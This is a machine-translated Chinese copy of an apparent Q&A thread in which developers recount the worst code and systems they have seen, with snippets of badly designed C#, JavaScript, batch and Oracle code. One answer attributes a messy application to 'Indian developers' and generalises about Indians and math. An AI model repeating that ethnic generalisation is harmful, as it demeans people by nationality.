此外,在这个库(以及所有相关程序)中,没有一个变量是本地的(我检查过!)。函数的设计目的是在认为可以安全地浪费它们时恢复相同的变量,或者创建在整个过程期间都存在的新变量。我打印了几页并对它们进行了颜色编码。黄色的意思是“全局的,永远不会被另一个函数改变”,红色的意思是“全局的,被几个改变”。格林本来是“本地的”,但没有。

哦,我有提到控制版本吗?因为当然没有。

补充:我只记得不久前我发现的一个功能。

它的目的是遍历一个整数数组,并将每个第一项和最后一项设置为 0。它是这样的(不是实际代码,来自内存,还有更多 C#-esque):

FixAllArrays()
{
    for (int idx = 0; idx < arrays.count- 1; idx++)
    {
        currArray = arrays[idx];
        nextArray = arrays[idx+1];
        SetFirstToZero(currArray);
        SetLastToZero(nextArray);

        //This is where the fun starts
        if (idx == 0)
        {
            SetLastToZero(currArray);
        }

        if (idx == arrays.count- 1)
        {
            SetFirstToZero(nextArray);
        }
    }
}

当然,关键是每个子数组都必须在所有项目上完成这两项操作。我只是不确定程序员如何决定这样的事情。

于 2010-04-11T07:07:37.297 回答
2

在我们的客户团队报告了一些奇怪的问题后,我们注意到应用程序的两个不同版本指向同一个数据库。(在给他们部署新系统的时候,他们的数据库升级了,但是大家都忘了把他们的旧系统关掉)

这是一个奇迹般的逃脱..

从那时起,我们有了一个自动化的构建和部署过程,谢天谢地:-)

于 2009-01-12T04:17:05.480 回答
2

类似于上面其他人提到的:

我在一个应用程序中有伪脚本语言的地方工作。它输入了一个庞大的方法,该方法有大约 30 个参数和一个巨大的Select Case语句。

是时候添加更多参数了,但团队中必须这样做的人意识到已经有太多参数了。

他的解决方案?

他在最后添加了一个object参数,所以他可以传入任何他想要的东西然后施放它。

我不能足够快地离开那个地方。

于 2009-01-12T04:48:04.950 回答
2

我认为这是一个程序,它将循环加载到 pdp-10 的通用寄存器中,然后执行这些寄存器中的代码。

你可以在 pdp-10 上做到这一点。这并不意味着你应该这样做。

编辑:至少这是我最好的(有时很破旧)的回忆。

于 2009-02-19T02:37:50.637 回答
2

我很不幸在半定制数据库高可用性解决方案中发现了一个相当疯狂的行为。

核心位不起眼。Red Hat Enterprise Linux、MySQL、DRBD 和 Linux-HA 的东西。然而,配置是由一个完全自定义的类似 puppet 的系统维护的(不出所料,这个系统还有许多其他疯狂的例子)。

事实证明,系统正在检查install.logKickstart 保留在根目录中的文件,以获取创建 DRBD 配置所需的部分信息。当然,这本身就是邪恶的。您不会从格式未实际定义的日志文件中提取配置。不过,情况会变得更糟。

它没有将这些数据存储在其他任何地方,并且每次运行时,即每 60 秒,它都会查询install.log.

我只是让你猜猜第一次有人决定删除这个原本无用的日志文件时发生了什么。

于 2010-06-13T03:42:31.730 回答
2

在我加入的一个项目中,我发现了这块钻石:

newwin=parent.parent.window.opener.parent.parent.parent.frames['clear'].window.open('empty.htm');
于 2010-12-06T15:50:36.217 回答
1

有人写了一个批处理程序来根据我的计算机上的模具面生成随机数,我想我会分享它。

@echo off

set SIDES=6 

:start
set BUF=%random%
if %BUF% GTR %SIDES% (
goto start
)

echo %BUF%
pause

goto start

做这项工作,但猜猜它有多慢......

于 2010-04-06T17:29:58.753 回答
0

我曾使用过印度开发人员编写的类似内容。巨型主窗体,全局变量等。幸运的是,我的老板经过一番努力,大大减少了这个烂摊子。但是,我仍然讨厌使用这个应用程序。不幸的是,它是数学应用程序,其中一些印度人擅长数学,所以我们必须修复应用程序,而不是重写它。

对我来说,最糟糕的部分是 Visual Studio + ReSharper 在 20000 行的表单上速度慢得令人难以置信。如果你关闭 ReSharper,它是可以管理的,但是你不能那么快地重构这个狗屎。

于 2010-04-10T09:28:23.667 回答
0

这是一些邪恶的代码:http ://code.google.com/p/google-caja/wiki/AttackVectors

于 2010-04-11T06:43:05.263 回答
0

来自我们公司佣金计算应用程序中的 Oracle 软件包(在我从头开始重建之前)

CREATE OR REPLACE PACKAGE BODY Const AS
    FUNCTION Basisprov_offen
        RETURN INT
    IS
        BEGIN
            RETURN 4;
        END;

    FUNCTION Basisprov_offen_s
        RETURN VARCHAR
    IS
        BEGIN
            RETURN Const.Basisprov_offen || '';
        END;


/* ... a lot more creepy stuff ... */

END Const;

并且在同一个应用程序的不同包中

...
INSERT INTO Texpkorr
    SELECT
        Stammnummer,
        Nummer,
        Artikelnummer,
        GREATEST ( 0, Texp.Kommanditbetrag - NVL ( 0, 0 )) Kommanditbetrag,
        GREATEST ( 0, Texp.Bareinlagebetrag - NVL ( 0, 0 )) Bareinlagebetrag,
        GREATEST ( 0, Texp.Provisionohneagio - NVL ( 0, 0)) Provisionohneagio,
        GREATEST ( 0, Texp.Provisionmitagio - NVL ( 0, 0 )) Provisionmitagio,
        GREATEST ( 0, Texp.Agionachlass - NVL ( 0, 0 )) Agionachlass,
        Exportart
   FROM Provaltbv, Texp
...
于 2010-04-11T10:40:21.790 回答
0

我曾经一起工作的一个人编写了一个 MS Access 应用程序,该应用程序链接到大约 10 个其他访问数据库,这些数据库为一家财富 500 强公司处理工资单。最后检查一下,那里有大约 70,000 名员工,并且仍在使用中……

代码中的错误检查很少,看起来很讨厌,更难排除故障。我们一直在最大化访问数据库,所以我们必须每隔几个月清理一次。

是的,我知道这不是代码段。仅 MS Access、工资单和财富 500 强这三个事实就构成了邪恶。很邪恶。我希望我在开玩笑。

于 2010-06-09T18:50:51.543 回答
0

几年前,我加入了一家多公司的忠诚度奖励公司,这些公司已经投入生产。什么应该是快速评估和了解业务,结果是揭示和领导对一些混乱的关键修复:

  • 2 在全国各地的信息亭中的第三方构建应用程序上(它在智能卡和在线余额上运行):
    • 可能会因为不难获得条件而失去平衡
    • 可以被利用来获得任意数量的免费余额
  • 我什至不知道是谁开发的积分 x 年到期年度流程:
    • 在某些情况下,它错误地为至少 30% 的用户损失大量余额……最糟糕的是,在我发现之前,备份过程和任何其他基于事务的恢复跟踪都是蹩脚的

请记住,即使这些是奖励积分,它也是您可以花在几乎任何东西上的钱:食物、电影院、航班、药店等等。

于 2011-10-18T17:47:49.993 回答